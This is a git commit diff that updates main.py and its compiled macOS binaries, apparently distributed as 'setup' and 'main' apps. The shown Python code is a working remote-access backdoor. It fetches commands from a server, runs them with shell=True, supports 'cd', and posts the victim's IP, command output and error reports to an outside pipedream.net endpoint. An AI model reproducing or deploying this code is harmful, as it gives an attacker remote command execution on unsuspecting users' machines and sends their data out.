diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-15 23:56:39 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-15 23:56:39 +0800 |
| commit | 8795b8fda682b9026e3d12cce5a8dff45107f976 (patch) | |
| tree | bec4a38be15899594cb37b907a23e858a64c5cd0 | |
| parent | ecf3e1595e4b05df99d75fd70b03b326b32ed85a (diff) | |
updated
| -rwxr-xr-x | dist/main | bin | 4299248 -> 4299424 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 4299248 -> 4299424 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4299264 -> 4299280 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4299264 -> 4299280 bytes | |||
| -rw-r--r-- | main.py | 26 |
5 files changed, 24 insertions, 2 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex f9d4514..44f19f0 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex 56a9a57..49c16f2 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -2,6 +2,7 @@ try: from requests import get, post from time import sleep from subprocess import check_output as system + from os import chdir old_command = "" command = "" @@ -25,11 +26,32 @@ while True: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)") continue except: - print("Failed to connect to server") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") continue # execute command if old_command != command: try: + if "ping" in command: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Pong!") + except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when replying to ping") + except: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") + continue + if "cd" in command: + dir=command.replace('cd', '') + try: + chdir(dir) + except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) while changing directory") + continue + except FileNotFoundError: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: cd: No Such Directory") + except: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to connect to server") + continue + cmdout = system(command, shell=True) if cmdout != "": try: @@ -38,7 +60,7 @@ while True: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output") continue except: - print("Failed to sent output") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: Failed to sent output") continue old_command = command continue |
